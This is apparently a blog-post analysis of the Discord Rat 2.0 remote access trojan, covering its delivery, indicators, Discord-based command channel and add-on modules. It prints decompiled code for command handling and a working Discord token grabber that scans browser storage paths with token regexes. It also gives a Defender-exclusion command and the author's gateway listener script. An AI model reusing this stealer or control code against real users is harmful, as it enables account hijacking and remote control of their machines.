Home Discord Rat 2.0: Malware Analysis
Post
Cancel

Discord Rat 2.0: Malware Analysis

🌊 Malware Execution Flow Diagram

Malware Flow

📫 Delivery

Malware on Discord is often delivered through deceptive messages. Attackers send Discord messages, enticing users to click on a link that ultimately prompts the download of a suspicious.exe file. Typically, users are lured in with promises like, “Hey, use this tool to get free Discord Nitro (a premium license for Discord).” When the user runs the file, that’s when the infection begins.

🏗 Static Analysis

GuessString(s)
Command Executioncmd.exe
Discord Auth TokenMTEzNTM5NDcwMTk3ODEwODAxNg.GtdDHG.<redacted>
Original FilenameDiscord rat.exe
Discord APIhttps://discord.com/api/v9/channels/{0}/messages
Discord Websocketwss://gateway.discord.gg/?v=9&encording=json
Disable Defender-Command Add-MpPreference -ExclusionPath "C:\"
C2-Client!shell = Execute a shell command /Syntax = "!shell whoami"
Info-StealerFile larger than 8mb, please wait while we upload to a third party!
Discod Token Grabberhxxps[://]raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Token%20grabber.dll
Webcam Accesshxxps[://]raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Webcam.dll
Remove Rootkithxxps[://]raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/unrootkit.dll
Install Rootkithxxps[://]raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/rootkit.dll
Password Stealerhxxps[://]raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/PasswordStealer.dll

🔬 Reverse Engineerng

Websocket Connection

Normally, I would continue with the binary’s dynamic examination. However, knowing the GitHub Repository and decompiling the c# code made it easy to dive down this way.

The program starts by connecting to the discord gateway using a web socket. For those who don’t know, the Discord Gateway enables real-time, bidirectional communication between Discord clients and servers. It allows clients to send and receive messages and other updates in real-time. In our case, the Victim is the client and the attacker’s discord bot acts like the server.

1
2
3
4
5
6
public static async Task MainAsync()
{
  Program.client.ResponseReceived = new Func<Stream, Task>(Program.Responsehandler);
  await Program.client.ConnectAsync("wss://gateway.discord.gg/?v=9&encording=json");
  ...
}

For a successful connection the discord authorization token is needed. There are two types of authorization tokens available: ‘User Authorization Token’ and ‘Bot Authorization Token’. The attacker provided a ‘Bot Authorization Token’ within the malware. This is the same one which was already found in static analysis. So the victim will from now on listen to messages he receives from the attacker’s discord bot. For a better understanding, I created a small Node.js script for demonstration. You can use your own Discord Authorization Token or create a Bot yourself and use this one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const WebSocket = require("ws");
const fs = require("fs");

var ws = new WebSocket("wss://gateway.discord.gg/?v=6&encoding=json");

// Create a file token.txt, which holds the discord token
// in the same directory as the script.
const token = fs.readFileSync("token.txt", "utf8").replace(/(\r\n|\r|\n)/g, "");

payload = {
  op: 2,
  d: {
    token: token,
    intents: 512,
    properties: {
      $os: "linux",
      $browser: "other",
      $device: "pc",
    },
  },
};

ws.addEventListener("open", function open(x) {
  ws.send(JSON.stringify(payload));
});

ws.addEventListener("message", function incoming(data) {
  var x = data.data;
  var payload = JSON.parse(x);

  const { t, event, op, d } = payload;

  switch (op) {
    // OPCODE 10 GIVES the HEARTBEAT INTERVAL, SO YOU CAN KEEP THE CONNECTION ALIVE
    case 10:
      const { heartbeat_interval } = d;
      setInterval(() => {
        ws.send(JSON.stringify({ op: 2, d: null }));
      }, heartbeat_interval);

      break;
  }

  console.log("Type: ", t);

  switch (t) {
    case "MESSAGE_CREATE":
      console.log(d.author.username + ": " + d.content);
    // could execute d.content on the machine now
  }
});

Script Output

The switch case statement in my code snippet can also be found inside the original malware. My guess that the received messages are executed as shell commands has been confirmed with the CommandHandler call, which executes the command. Like in our example, this would look like: cmd.exe /C whoami.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static async Task handler(Dictionary<object, object> data)
{
  ...
      switch (str)
      {
        case "READY":
          ...
        case "GUILD_CREATE":
          ...
        case "MESSAGE_CREATE":
          await Program.CommandHandler((string) message_content, array);
          ...
        case "CHANNEL_CREATE":
          ...
        case "CHANNEL_DELETE":
          ...
        default:
          return;
      }
  ...
}

Web Connection

Aside from the Discord Gateway, there is also a connection to the standard Discord REST API. This one is used to communicate system information and command execution results to the attacker’s Discord server. This API is also used by the malware to generate new channels on the attacker’s server. It could be to improve the separation of communications and targets. As a result, the attacker included his Discord server’s ID inside the malware, which can be located in the file settings.cs. According to my research, you should be able to identify the Discord server using that ID, however because the attacker’s server is private, you won’t be able to find it unless you work for Discord.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static async Task<bool> Send_message(string channelid, string message)
{
  string requestUri = string.Format("https://discord.com/api/v9/channels/{0}/messages", (object) channelid);
  ...
  try
  {
    HttpResponseMessage httpResponseMessage = await httpClient.PostAsync(requestUri, (HttpContent) content);
    httpResponseMessage.EnsureSuccessStatusCode();
    string str = await httpResponseMessage.Content.ReadAsStringAsync();
    httpClient.Dispose();
    return true;
  }
  ...
}

Discord Token Stealer

The malware loads many .dll files from GitHub to further increase its capabilities without increasing the infection’s size. I already found those in static analysis. This section addresses the Token%20grabber.dll file. After gaining control of the victim’s computer, the attacker would like to hijack the victim’s Discord account. Fortunately, the source code for this file was also included in the GitHub repository. Multiple base64 encoded strings can be found within the source code. They appear to be separate windows paths.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
string[] paths = new string[] {
    "\Roaming\discord",
    "\Roaming\discordptb",
    "\Roaming\discordcanary",
    "\Roaming\discorddevelopment",
    "\Roaming\Opera Software\Opera Stable",
    "\Roaming\Opera Software\Opera GX Stable",
    "\Local\Amigo\User Data",
    "\Local\Torch\User Data",
    "\Local\Kometa\User Data",
    "\Local\Google\Chrome\User Data\Default",
    "\Local\Orbitum\User Data",
    "\Local\CentBrowser\User Data",
    "\Local\7Star\7Star\User Data",
    "\Local\Sputnik\Sputnik\User Data",
    "\Local\Vivaldi\User Data\Default",
    "\Local\Google\Chrome SxS\User Data",
    "\Local\Epic Privacy Browser\User Data",
    "\Local\uCozMedia\Uran\User Data\Default",
    "\Local\Microsoft\Edge\User Data\Default",
    "\Local\Yandex\YandexBrowser\User Data\Default",
    "\Local\Opera Software\Opera Neon\User Data\Default",
    "\Local\BraveSoftware\Brave-Browser\User Data\Default"
};

After adding the prefix and suffix a possible path would look like: C:\Users\max\AppData\Roaming\discord\Local Storage\leveldb\. Following that, the malware checks to see whether it can locate the user’s Discord Token within this directory. Discord saves the data in files with a .ldb extension. The authorization token is contained within this file and always matches a specified pattern. I was able to locate my token only through the use of the tool strings, which indicates that the token is not encrypted. The function below accomplishes exactly what I said. This token grants the attacker complete access to the user’s account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static List<string> GrabTokens(string leveldb_path, string localstate_path)
{
    List<string> tokens = new List<string>();
    Regex BasicRegex = new Regex(@"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", RegexOptions.Compiled);
    Regex NewRegex = new Regex(@"mfa\.[\w-]{84}", RegexOptions.Compiled);
    Regex EncryptedRegex = new Regex("(dQw4w9WgXcQ:)([^.*\\['(.*)'\\].*$][^\"]*)", RegexOptions.Compiled);

    string[] dbfiles = Directory.GetFiles(leveldb_path, "*.ldb", SearchOption.AllDirectories);
    foreach (string file in dbfiles)
    {
        FileInfo info = new FileInfo(file);
        string contents = File.ReadAllText(info.FullName);

        Match match1 = BasicRegex.Match(contents);
        if (match1.Success) tokens.Add(match1.Value);
        Match match2 = NewRegex.Match(contents);
        if (match2.Success) tokens.Add(match2.Value);

        Match match3 = EncryptedRegex.Match(contents);
        if (match3.Success)
        {
            string token = DecryptToken(Convert.FromBase64String(match3.Value.Split(new[] { "dQw4w9WgXcQ:" }, StringSplitOptions.None)[1]), localstate_path);
            tokens.Add(token);
        }
    }

    return tokens;
}

Furter Investigations

The malware has numerous additional features, such as:

  • Installing a Rootkit
  • Remote removal to cover your traces
  • Disabling Windows defense mechanisms
  • Capturing screenshots or accessing the victim’s camera

However, in this analysis, I chose to focus on the malware’s Discord-related aspects.

⚙ Dynamic Analysis

I used online malware sandboxes such as VirusTotal to do dynamic analysis. The goal was to validate my findings. However, due to the lack of Discord being installed on those malware sandboxes, the data only revealed incomplete insights into its activities. I refused to use my own sandbox because I didn’t have a Discord account, I could lose.

This post is licensed under CC BY 4.0 by the author.